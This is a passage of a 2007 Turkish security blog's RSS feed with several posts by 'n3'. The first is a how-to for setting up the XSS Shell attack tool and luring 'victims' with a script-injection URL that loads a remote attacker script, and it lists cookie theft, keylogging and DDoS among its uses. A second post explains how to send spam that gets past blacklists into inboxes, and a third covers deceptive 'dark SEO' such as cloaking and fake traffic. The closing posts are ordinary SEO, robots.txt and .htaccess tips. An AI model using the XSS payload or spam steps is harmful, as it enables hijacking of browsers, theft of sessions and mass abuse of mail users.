			<link>http://www.syshole.com/index.php?entry=entry070721-062007</link>
			<description><![CDATA[Xss Shell Ferruh Mavituna&#039;nın bri projesi, genel anlamıyla xss ataklarını daha kolay kontrol etme ve tek seferde birden fazla kurbana birden fazla komut vermenize yarıyor.<br />Scriptin bize sağladığı yararlardan bazıları ddos, cookie alma, keylogger ve her türlü js komutlarını işletebilmek...<br />Kullanışlı ve xss saldırılarına yeni bir boyut kazandıran bu sistem Ferruh beyin çabalarıyla hızla gelişeceğe benziyor.<br /><br />Bu yazıda kurulumundan kullanımına ve sık karşılaşılan sorunlara değineceğiz.<br /><br />İlk olarak kuruluma bakalım..<br /><br />öncelikle <a href="http://www.portcullis-security.com/" target="_blank" >http://www.portcullis-security.com/</a> adresinden xss shelli indiriyoruz.<br /><br />Yeni versiyonlar Xss Tunneling yazılımıyla beraber geliyor bu yazılıma daha sonra değineceğiz şimdilik ihtiyacımız olan xss shell.<br /><br />Dosyaları Asp hostumuza atıyoruz. <br />Kendi bilgisayarınıza iis kurarak scripti kendi bilgisayarınız yardımıyla çalıştırabilirsiniz bu konuyla ilgili bir videoyuda <br /><a href="http://ferruh.mavituna.com/makale/xss-shell-install-video/" target="_blank" >http://ferruh.mavituna.com/makale/xss-s ... all-video/</a><br />adresinden izleyebilirsiniz.<br /><br />Dosyaları attıktan sonra dikkat etmek gereken konulardan biri db dosyamıza yani shell.mdb dosyasına yazma izni olup olmadığı bu dosyanın yazma izni yoksa script çalışmayacaktır.<br />Daha sonra admin klasörünün içindeki db.asp dosyasını açarak &quot;w00t&quot; olan şifre kısmını istediğiniz bir şifre olarak değiştirmek. <br />Yine db.asp dosyasının içindeki db yolunu gösteren <br />C:\XSS Shell\XSSShell-060\db\shell.mdb<br />satırınıda kendi hostunuzdakine göre ayarlamalısınız.<br /><br />Son olarak xssshell.asp dosyasını açarak <br /><a href="http://www.xssshelltest.com:60000/" target="_blank" >http://www.xssshelltest.com:60000/</a><br />yazan kısıma kendi scriptimizin adresini veriyoruz.<br /><br />Böylece kurulumu tamamlamış olduk şimdi tek yapmamız gereken kurbanımızı bu linke yönlendirmek.<br /><br />Bunu yapabilmek için herhangi bir sayfadan <br /><a href="http://www.example.com/q=&quot;&gt;&lt;script" target="_blank" >http://www.example.com/q=&quot;&gt;&lt;script</a> src=&quot;http://[site]/xssshell.asp&quot;&gt;&lt;/script&gt;<br />linkini verirseniz kurban sizin istediğiniz adrese yönlenecektir. <br />Yukarıdaki kod genellikle forum, portal gibi scriptlerde engellendiği için exploit sitelerinde istediğiniz scriptin xss açığını aratarak bu açık yardımıyla kurbanınızı kendi xssshell.asp sayfanıza yönlendirmeniz daha kolay olacaktır.<br /><br />Bunun dışında <br />&lt;script src=&quot;http://[site]/xssshell.asp&quot;&gt;&lt;/script&gt; <br />kodunu kendi hazırladığınız herhangi bir sayfanın bir yerine koyduğunuz takdirde bu sayfayı açan herkes direkt olarak sizin emriniz altına girecektir.<br />Kurban sizin hazırladığınız sayfada kaldığı sürece <br />http://[site]/admin <br />adresinden kurbanı kontrol edebilirsiniz.<br /><br />Şu an için bilinen buglar <br />Keyloggerın internet explorer üzerinde çalışmaması ve scriptin Konqueror tarayıcısında işe yaramaması.<br /><br />Kurulum ya da kullanımda oluşan hataları buradan bana ya da <a href="http://www.ferruh.mavituna.com" target="_blank" >www.ferruh.mavituna.com</a> adresinden Ferruh beye ulaştırabilirsiniz.<br />]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry070721-062007</guid>
			<author>n3</author>
			<pubDate>Sat, 21 Jul 2007 13:20:07 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=07&amp;entry=entry070721-062007</comments>
		</item>
		<item>
			<title>Spam ve İpuçları</title>
			<link>http://www.syshole.com/index.php?entry=entry070717-131444</link>
			<description><![CDATA[Şahsen spama karşı olmamakla birlikte aşağıdaki vereceğim bilgilerle spam yapanlar domain adresleri spam listelerine alındığı takdirde arama motorlarında alt sıralara düşecektir. Olayın hukuki boyutunu karıştırmıyorum bile :)<br /><br />Göndereceğiniz maillerin hızlı ve güvenli olarak ulaşması için kendi bilgisayarınızdan spam yapmayı anlatacağım. <br /><br />Eğer bağlantınız yetersizse ya da uğraşmak istemiyorsanız ve bir host üzerinden spam yapmak istiyorsanız server kurulumunu geçerek sadece gerekli testleri yapmalı ve server üzerinden kullanabileceğiniz uygun yazılımı bulmalısınız.<br /><br />Tabi serverınız üzerinden mail gönderirken hosting firmanızın size verdiği yetkileride öğrenmek gerekir. Örneğin bazı firmaların günlük mail atma limiti ya da bir seferde belli sayıda mail atma gibi limitleri vardır.<br /><br />Şimdi kendi bilgisayarımızdan mail atma işlemi için smtp server kurulumuna geçelim.<br /><br />Basitçe bir smtp server kurmak için mdaemon yazılımını indirerek kurmanız yeterli olacaktır.<br /><br />mdaemon yazılımını <br /><a href="http://www.altn.com/Products/MessagingSolutions/MDaemon/" target="_blank" >http://www.altn.com/Products/MessagingS ... s/MDaemon/</a> adresinden çekebilirsiniz.<br /><br />Eğer yazılım kullanmadan kurulumu yapmak isterseniz<br /><br />Başlat&gt;Ayarlar&gt;Denetim Masası&gt;Program ekle kaldır<br /><br />sekmelerini takip ederek <br /><br />Windows Bileşenleri ekle/kaldır bölümünden <br /><br />Internet Information Servicesin içindeki SMTP server sekmesini seçerek kurulumu yapabilirsiniz.<br /><br />Elle kurulum yaparsanız giriş ayarlarını kendi bilgisayarınıza ya da belli bir kullanıcı adı şifre ile yaptırmanızda yarar var aksi takdirde spammerların hedefi olabilirsiniz.<br /><br />Kurulum bittikten sonra önemli ayrıntılardan biri de mail atacağınız yazılımdır. <br /><br />Mailleri atmak için fazla kullanılmayan profesyonel bir yazılım kullanmanız maillerinizin inboxa düşmesinde etkili olacaktır.<br /><br />Benim tavsiyem paralı yazılımlardan bir tane almanız ya da en azından bunların demolarından birini kullanmanız olacak.<br /><br />Bu işlemleri bitirdikten sonra artık spam yapmaya başlayabiliriz şimdi maillerimizin inboxa düşmesi için gerekli tüyoları sıralayalım.<br /><br />İlk olarak spam yapacağınız serverın spam listelerinde olup olmadığını kontrol edin bunu yapmak için <br /><a href="http://www.dnsstuff.com/tools/ip4r.ch?ip=xx.xx.xxx.xxx" target="_blank" >http://www.dnsstuff.com/tools/ip4r.ch?ip=xx.xx.xxx.xxx</a> adresini kullanabilirsiniz. (x karakterleri yerine spam yapacağınız serverın ip adresini yazmanız gerekiyor)<br /><br />Eğer bütün listelerden not listed yazısını gördüyseniz sorun yok demektir.<br /><br />Ayrıca maillerin inboxa düşmesini etkileyen en önemli etkenlerden biri ip adresinizin bir domainle ilişkilenmiş olmasıdır.<br /><br />Bunu yapmak için sabit ip adresiniz varsa bir domain alarak kendi bilgisayarınıza yönlendirebilirsiniz, sabit ip adresiniz yoksa no-ip.com gibi sabit ip hizmeti veren sitelerden ip adresinize bağlı bir sabit subdomain alarak yönlendirmeyi bu adreslere yapabilirsiniz.<br /><br />Ip adresinizin bir domainle ilişkili olup olmadığını <br /><br /><a href="http://www.dnsstuff.com/tools/ptr.ch?ip=xx.xx.xxx.xxx" target="_blank" >http://www.dnsstuff.com/tools/ptr.ch?ip=xx.xx.xxx.xxx</a> adresinden kontrol edebilirsiniz.<br /><br />Bunları yapmak maillerinizin yahoo ve bir çok mail hizmeti veren sunucuda inboxa düşmesini sağlayacaktır.<br /><br />Şimdi bu maillerimizin hotmailde de inboxa düşmesini sağlamak için yapmamız gereken iki adım daha var.<br /><br />ilk olarak spf kaydı yaptırmamız lazım bunun için <br /><br /><a href="http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/" target="_blank" >http://www.microsoft.com/mscorp/safety/ ... id/wizard/</a> <br /><br />adresini kullanabilirsiniz. Kaydı yaptıktan sonra domaininizin kontrol panelinden spf kaydını ekleyebilirsiniz.<br /><br />ve son olarak <a href="mailto:senderid@microsoft.com" target="_blank" >senderid@microsoft.com</a> &#039;a domaininizin isminin yazdığı bir mail atmanız yeterli olacak.<br /><br />Eğer birden fazla domaininiz varsa ve hepsini eklemek istiyorsanız domainleri alt alta yazarak mail atmanız yeterli olacaktır.]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry070717-131444</guid>
			<author>n3</author>
			<pubDate>Tue, 17 Jul 2007 20:14:44 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=07&amp;entry=entry070717-131444</comments>
		</item>
		<item>
			<title>Search Engine Optimization (part4)(Dark SEO)</title>
			<link>http://www.syshole.com/index.php?entry=entry070704-050652</link>
			<description><![CDATA[Doorway Pages : Kullanıcılara görüntülenmeyen sadece arama motorlarının örümceklerini kandırmak için yapılan genellikle kolay indekslenmesi için düz yazı şeklinde hazırlanan sayfalardır. <br />Bu sayfalarda sahte keywordler ve meta taglar kullanılarak arama motorları kandırılabilir.<br /><br />Keyword Selection : Keyword seçimleri nette en çok aranan kelime gruplarına göre seçilir internet üzerinde en çok aranan kelimelere <br /><a href="http://www.blackhatseo.com/keywords.shtml" target="_blank" >http://www.blackhatseo.com/keywords.shtml</a> adresinden ulaşabilirsiniz.<br /><br />Cloaker Script : Bu scriptler belirlediğiniz keywordlar doğrultusunda istediğiniz sayıda sahte sayfa oluşturarak arama motorlarından daha fazla kullanıcı çekmenizi sağlar.<br /><br />Artificial Traffic : Siteniz üzerinde sahte trafik oluşturarak arama motorlarında üst sıralara çıkabilirsiniz. Bunu yapabilmek için çeşitli yazılım ve sitelerin linkleri :<br /><a href="http://clickingagent.com/cacamore.html" target="_blank" >http://clickingagent.com/cacamore.html</a><br /><a href="http://ultimatetrafficsystem.com/" target="_blank" >http://ultimatetrafficsystem.com/</a><br /><a href="http://www.expiredtraffic.com/" target="_blank" >http://www.expiredtraffic.com/</a><br /><br />Bu taktiklerin dışında kısa bir araştırmayla net üzerinde bedava link exchange yapan siteleri kullanabilir sitenize ekstra trafik sağlayacak yazılımlar kullanabilirsiniz.<br /><br />spamgoogle.com adresinden link exchange yaptığınız sitenin ismini aratın eğer bulabilirseniz sakın o siteyle link exchange yapmayın eğer sizin siteniz o listede varsa siz zaten seo işinden vazgeçin :)<br />Bu sitede googleın kara listeye aldığı sitelerin adreslerini bulabilirsiniz.<br /><br />Bad Seo<br /><br />Bu bölümde çok yaygın olarak bilinmesine ve kullanılmasına karşın aslında hiç bir avantajı olmayan aksine sitenizi çok kısa sürede arama motorlarından uzaklaştıracak yöntemlerden bahsedeceğiz.<br /><br />Tiny/Alt text : Resim dosyalarının tanıtım yazılarını gereksiz yere uzatmak artık arama motorları tarafından dikkate alınmadığı için örümcekleri sitenizden uzaklaştırmaktan başka bir işe yaramayacaktır.<br />Üstelik her resimde sürekli aynı uzun keyword dizilerini kullanmak kısa bir sürede arama motorlarından banlanmanıza yol açacaktır.<br /><br />Comments Tag : Sayfaların üst kısımlarında yer alan &lt;!-- ve --&gt; içinde yer alan kullanıcıya görünmeyen ama arama motorlarının görebildiği tanımlama yazılarını gereksiz kelimelerle doldurmak artık örümcekler tarafından dikkate alınmadan geçildiğinden bir işe yaramayacaktır.<br /><br />Meta Tag : Meta taglarda da gereksiz uzatılan yazılar arama motorları tarafından genellikle görmezden gelindiği için bir işe yaramayacaktır.<br /> <br />Page Title : Sayfa başlığınız örümcekler tarafından ilk görüntülenen kısımdır &lt;title&gt;...&lt;/title&gt; arasında bulunan bu bölüm arama motorlarının artık sadece ilk 2-3 kelimeyi önemsemesinden dolayı örümcekleri kandıramaz.<br /><br />Bold Text : Sitenizin misyonuyla ilgili bazı kelimeleri kalın olarak yazmak abartılmadığı sürece işe yarayan bir yöntemdir ama sürekli kalın yazı kullanmak kısa sürede örümcekleri sitenizden uzaklaştıracaktır.<br /><br />Keyword Stuffing : Keywordların aşırı derecede uzatılması hem arama motorlarında alt sıralara düşmenize yol açacak hem de belli bir karakterden sonrası örümcekler tarafından dikkate alınmayacaktır.]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry070704-050652</guid>
			<author>n3</author>
			<pubDate>Wed, 04 Jul 2007 12:06:52 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=07&amp;entry=entry070704-050652</comments>
		</item>
		<item>
			<title>Search Engine Optimization (part3)</title>
			<link>http://www.syshole.com/index.php?entry=entry070622-062706</link>
			<description><![CDATA[Bu yazıda genel olarak değineceğimiz şeyler <br />- Googlea kayıt olma ve yararlanabileceğimiz hizmetleri<br />- robots.txt <br />- sitemap.xml dosyaları<br /><br />Google bildiğiniz gibi internetteki en kapsamlı arama motoru. İlk olarak google mühendisleri örümceklerin işini kolaylaştırıp web sitelerini daha hızlı indexlemek için webmasterların googlea kayıt yapabileceğini söylemişlerdi. Bu olayın fazla ilgi görmesi nedeniyle daha fazla kişiyi çekerek büyük ölçüde google sunucularını rahatlatmak ve webmasterlara kolaylık sunması açısından bu servisi geliştirdiler. <br /><br />Kayıt olmak isteyen webmasterlar <br /><a href="http://www.google.com/webmasters/tools/" target="_blank" >http://www.google.com/webmasters/tools/</a><br />adresinden kayıt olabilirler. Kayıt olduktan sonra google sizden google123456.html gibi bir dosyayı sitenizin root klasörüne atmanızı isteyecektir. Boş bir sayfaya bu ismi vererek hostunuza attıktan sonra aktif etme (verify) işleminiz tamamlanacaktır.<br /><br />Not : Googlea kayıt olmak için bir gmail adresine sahip olmanız gerekmektedir.<br /><br />Bunun bize sağladığı yararların başında googleın örümceklerinin sitemizi daha çabuk indekslemesi var ama bunun yanında aşağıda sıraladığım kolaylıklarıda webmasterlara sunuyor.<br /><br />- Sitenizin kodlama, yönlendirme gibi hatalarını size göstererek bunları düzeltme imkanı sağlar daha öncede belirttiğimiz gibi bu hataların düzeltilmesi google örümceklerini daha çabuk çekecektir.<br />- Örümceklerin sitenizi hangi hızda indekslediğini, şu ana kadar ne kadarını indekslemiş olduğunu görebilirsiniz.<br />- Örümceklerin sitenize göre değerlendirdiği PageRank gibi istatistikleri takip edebilirsiniz.<br />- Sitenizin hangi kelimeler aratıldığında ne kadar üst sıralarda çıkacağı gibi bilgileri edinebilirsiniz.<br />- Google örümceklerinin sitenizin kelime içeriğini nasıl sıraladığını görebilirsiniz.<br />- Sitenizden dışarıya verdiğiniz linkleri kontrol edebilirsiniz.<br />- Sitemap.xml dosyasını kolayca google örümceklerine göstererek sitenizi isteidğiniz gibi ve hızlı bir şekilde indeksletebilirsiniz.<br /><br />robots.txt dosyası oluşturmak arama motoru örümceklerinin sitemizi nasıl gezeceğini kontrol etmemize yarar.<br /><br />ilk olarak robots.txt dosyamızı açıyoruz ilk olarak komut vermek istediğimiz örümcekleri seçiyoruz.<br />User-agent:google<br />User-agent:webcrawler<br />User-agent:*<br />Yukarıdaki satırlara baktığımızda ilk olarak komut vermek istediğim örümcekleri seçtiğimi görüyorsunuz, ilk satırda google botlarını ikinci satırda webcrawler botlarını yönlendirmek istemişim. 3. satırdaki &quot;*&quot; işareti ise bütün arama motorlarına emir vermek istediğimi söylüyor.<br />İlk satırda hangi arama motoru örümceklerini yönlendirmek istediğimi seçtikten sonra 2. bölümde komut vermeye başlayabiliriz.<br />Bu bölümde Allow komutuyla örümceklere izin verdiğimizi Disallow komutuyla ise arama motorlarını gösterdiğimiz sayfayı görmemezlikten gelmesini istiyoruz.<br />Allow:*<br />Disallow:cc_bilgileri.html<br />Disallow:/privacy<br />görüldüğü gibi ilk satırda arama motorlarına bütün sayfalarımızı görme yetkisi verirken 2. satırda cc_bilgileri.html sayfasının görüntülenmesini yasaklamışım. Aynı şekilde 3. satırda privacy klasörümün görüntülenmesini engelledim.<br />Robots.txt dosyasını arama motorlarında var gibi görünen ama aslında olmayan sayfalarınızın indexlenmesini engellemektede kullanabilirsiniz.<br />Bu da örümceklerin sayfanızı daha rahat ziyaret etmesini sağlayacaktır.<br /><br />sitemap.xml dosyaları sitemizin genel olarak içeriğinin belirtilmesini sağlar bu da en çok arama motoru örümceklerine yol göstereceği için yararlı olur.<br /><br />Bir sitemap dosyası oluşturarak googlea <a href="http://www.google.com/webmasters/tools" target="_blank" >www.google.com/webmasters/tools</a> adresinden tanıtabiliriz. Böylece googleın sitemizi indekslerken daha hızlı olmasını ve bir yanlış yapmasını engellemiş oluruz.<br /><br />Sitemap dosyası oluşturmak için internetten sitemap oluşturma programlarını kullanabilirsiniz.<br />Google tarafından önerilen ve çok kullanılan &quot;GSiteCrawler&quot; programı işinizi görecektir.]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry070622-062706</guid>
			<author>n3</author>
			<pubDate>Fri, 22 Jun 2007 13:27:06 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=06&amp;entry=entry070622-062706</comments>
		</item>
		<item>
			<title>Search Engine Optimization (Part2)(.htaccess)</title>
			<link>http://www.syshole.com/index.php?entry=entry070617-034024</link>
			<description><![CDATA[.htaccess dosyaları sitenizin nasıl gezileceğikonusundaki talimatları hostunuza göstereceğiniz dosyadır diyebiliriz.<br /><br />İşinize yarayacak .htaccess ipuçlarını <br /><a href="http://www.acikbilgi.com/2006/03/05/htaccess-kullanimi-ve-ipuclari/" target="_blank" >http://www.acikbilgi.com/2006/03/05/hta ... -ipuclari/</a> adresinden okuyabilirsiniz. <br /><br />Benim htaccess dosyasında özellikle ilgileneceğim konu anlamlı linkler konusudur. <br />Anlamlı linkler sitenizdeki herhangi bir sayfanın browserda görünen linkini konuyla alakalı bir link ile değiştirir. <br />Örneğin sitemizdeki ssh tunnelling konusunu ziyaret etmek istediğinizde <br /><a href="http://www.syshole.com/index.php?entry=entry070601-085436" target="_blank" >http://www.syshole.com/index.php?entry= ... 601-085436</a><br />linkini kullanmak arama motorlarına itici gelirken aynı sayfayı<br /><a href="http://www.syshole.com/ssh-tunnelling" target="_blank" >http://www.syshole.com/ssh-tunnelling</a> <br />linkindende ziyaret edebilirsiniz bu da siteyi arama motorlarında ciddi anlamda yukarı taşıyacaktır.<br />Özellikle &quot;ssh tunnelling&quot; kelime grubuyla yapılan aramalarda kolaylıkla üst sıralarda görüneceksiniz.<br /><br />Anlamlı linkleri oluşturmaya başlamadan önce istediğiniz .htaccess dosyasını pratik bir şekilde <br /><a href="http://cooletips.de/htaccess" target="_blank" >http://cooletips.de/htaccess</a> sayfasından oluşturabilirsiniz.<br /><br />Anlamlı link oluşturma <br /><br />öncelikle bir not defteri açarak istediğimiz düzenlemeleri yapacağız ve sonra bu dosyayı .htaccess adı altında sitemizin root dizinine atacağız.<br /><br />Dosyamızın ilk satırı <br />&quot;RewriteEngine on&quot; <br />şeklinde olmalıdır tabi bunun çalışması için hostunuzun da rewriteengine modulunu destekliyor olması gerekir.<br />sonra linkini değiştirmek istediğimiz sayfaya göre <br />RewriteRule ^deneme.* /index.php?test=deneme<br />şeklinde yazarsak <a href="http://www.xxx.com/deneme" target="_blank" >www.xxx.com/deneme</a> linki otomatik olarak <a href="http://www.xxx.com/index.php?test=deneme" target="_blank" >www.xxx.com/index.php?test=deneme</a> linkini çağıracaktır.<br />Biraz daha karışık bir örnek vermek gerekirse <br />RewriteRule ^arabalar/(.*) /araba.php?model=$1<br />yazarsak <a href="http://www.xxx.com/arabalar/..." target="_blank" >www.xxx.com/arabalar/...</a> linki <a href="http://www.xxx.com/araba.php?model=..." target="_blank" >www.xxx.com/araba.php?model=...</a> linkini çağıracaktır.<br />Buradaki &quot;...&quot; girilen değişkene göre farklılık gösterir.<br /><br />syshole.com için ufak bir .htaccess dosyası örneği vermek gerekirse <br /><br />RewriteEngine on<br />RewriteRule ^network-sniffer-for-win32.* /index.php?entry=entry070401-214932<br />RewriteRule ^ssh-tunnelling.* /index.php?entry=entry070601-085436<br />RewriteRule ^wep-wpa-cracking.* /index.php?entry=entry070530-081216<br />RewriteRule ^cisco-hacking.* /index.php?entry=entry070511-085542<br />RewriteRule ^backtrack-2.* /index.php?entry=entry070511-083848<br /><br />şeklinde yazılabilir.]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry070617-034024</guid>
			<author>n3</author>
			<pubDate>Sun, 17 Jun 2007 10:40:24 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=06&amp;entry=entry070617-034024</comments>
		</item>
		<item>
			<title>Search Engine Optimization (Part 1)</title>
			<link>http://www.syshole.com/index.php?entry=entry070617-033447</link>
			<description><![CDATA[Harddiskimin ömrünü tüketmesi ve finaller nedeniyle yazı yazamadığım bir haftadan sonra seo yazı dizisiyle beraber tekrar devam ediyoruz.<br /><br />Bu yazı dizisine başlamadan önce biraz tanıtalım search engine optimization sitenizin arama motorlarında daha yukarılarda çıkmasını sağlamak için geliştirilmiş yöntemlerdir. <br />Bunlar arama motorlarının örümceklerini sitenize çekmek ve sayfalarınızın daha çabuk indexlenmesini sağlamak mantığı üzerine kurulurlar. <br />Arama motorlarının örümceklerinin bir siteyi nasıl indexlediğini tam olarak kimse bilemez bunlar arama motorunun mühendisleri tarafından hazırlanır ve gizli tutulur fakat tecrübe yoluyla işe yarar yöntemler webmasterlar tarafından kullanılmaya çalışılır<br />Bu yazı dizisinde ilk bölümlerde arama motoru optimizasyonunun genel hatlarını inceleyeceğiz sonraki bölümlerde ise dark seo denilen arama motorlarını kandırma teknikleri incelenecek <br />ama bu noktada belirtmemiz gereken nokta, eğer geliştirmeye çalışacağınız bir siteniz varsa dark seo tekniklerini kullanmaktan kaçının çünkü arama motorlarının sitenizi kara listeye alması halinde önemli bir kaynağı kaybetmiş olacaksınız. <br />Dark seo teknikleri daha hızlı sonuca gitmeyi düşünen illegal içerikli sitelerde kullanılır genel olarak.<br /><br />Örümceklerin sitenizi kolay indexlemesi için gereken bir iki püf noktayı hızlıca maddeler halinde anlatarak geçelim.<br /><br />-Sitenizde iframe sayfalarını mümkün olduğunca az kullanmak örümceklerin siteyi daha hızlı ve kolay gezmelerini sağlayacaktır. <br /><br />-Sitenizi gerekli gereksiz yüzlerce keywordla göstermeye çalışacağınıza sitenizin ne ile ilgili olduğunu gösteren keywordlar seçmeniz yararınıza olacaktır çünkü armaa motorları yeni geliştidikleri örümceklerle bu keywordların 200. karakterden sonrasını görmezden gelirler <br /><br />-Bu keywordları tek kelime yerine anlamlı ve aratılması mümkün kelime grupları olarak seçmenizde işinize yarar. Ör: syshole.com için &quot;internet teknolojileri güvenliği&quot; gibi bir keyword kullanmak armama motorlarında bu tip bir kelime grubuyla arama yapıldığında sitenizi üst sıralara taşıyacaktır.<br /><br />-Sitenizde java scriptleri az kullanmanız kullansanız bile sitenin kaynağına direkt olarak yapıştırmayıp başka bir linkten &quot;xxx.com/seo.js&quot; şeklinde çağırmanız sitenizin örümcekler tarafından kolay algılanmasını sağlayacaktır.<br /><br />-Sitenizdeki resim dosyalarına alt text ile açıklama yazmanız bu resimlerin arama motorlarında daha kolay görüntülenmesini sağlar.<br /><br />-Genellikle düz yazı kullanmanız yazıların öne çıkarmak istediğiniz kısımlarını kalın yazı tipiyle yazmanız yie örümceklerin sitenizi kolay gezmesini sağlayacaktır.<br /><br />-Sitenizin kolay gezilebilmesi için sitenizin hızlı açılması örümcekleri daha hızlı şekilde kendine çekecektir.<br /><br />-Özellikle başka sitelerden kopyala/yapıştır yaparak aldığınız içerikler sizi googleda alt sıralara itecektir.<br /><br />-Ayrıca domain isminizin sitenin misyonuyla alakalı olması 8 harften kısa olması ve örneğin bir mp3 sitesiyse domainin içinde mp3 kelimesinin geçmeside arama motorlarında sizi üst sıralara çekecektir.<br /><br />-Kodlama hatası ya da sitemapte ya da sitenin başka bir sayfasında var gösterilmiş ama aslında olmayan linklerde sizin için zararlı olacak ayrıntılardır.<br /><br /><br />Bu püf noktalara dikkat ettikten sonra htaccess dosyası düzenlemeye geçebiliriz.]]></description>
			<category></category>
			<guid isPermaLink="true">http://www.syshole.com/index.php?entry=entry070617-033447</guid>
			<author>n3</author>
			<pubDate>Sun, 17 Jun 2007 10:34:47 GMT</pubDate>
			<comments>http://www.syshole.com/comments.php?y=07&amp;m=06&amp;entry=entry070617-033447</comments>
		</item>
	</channel>
</rss>
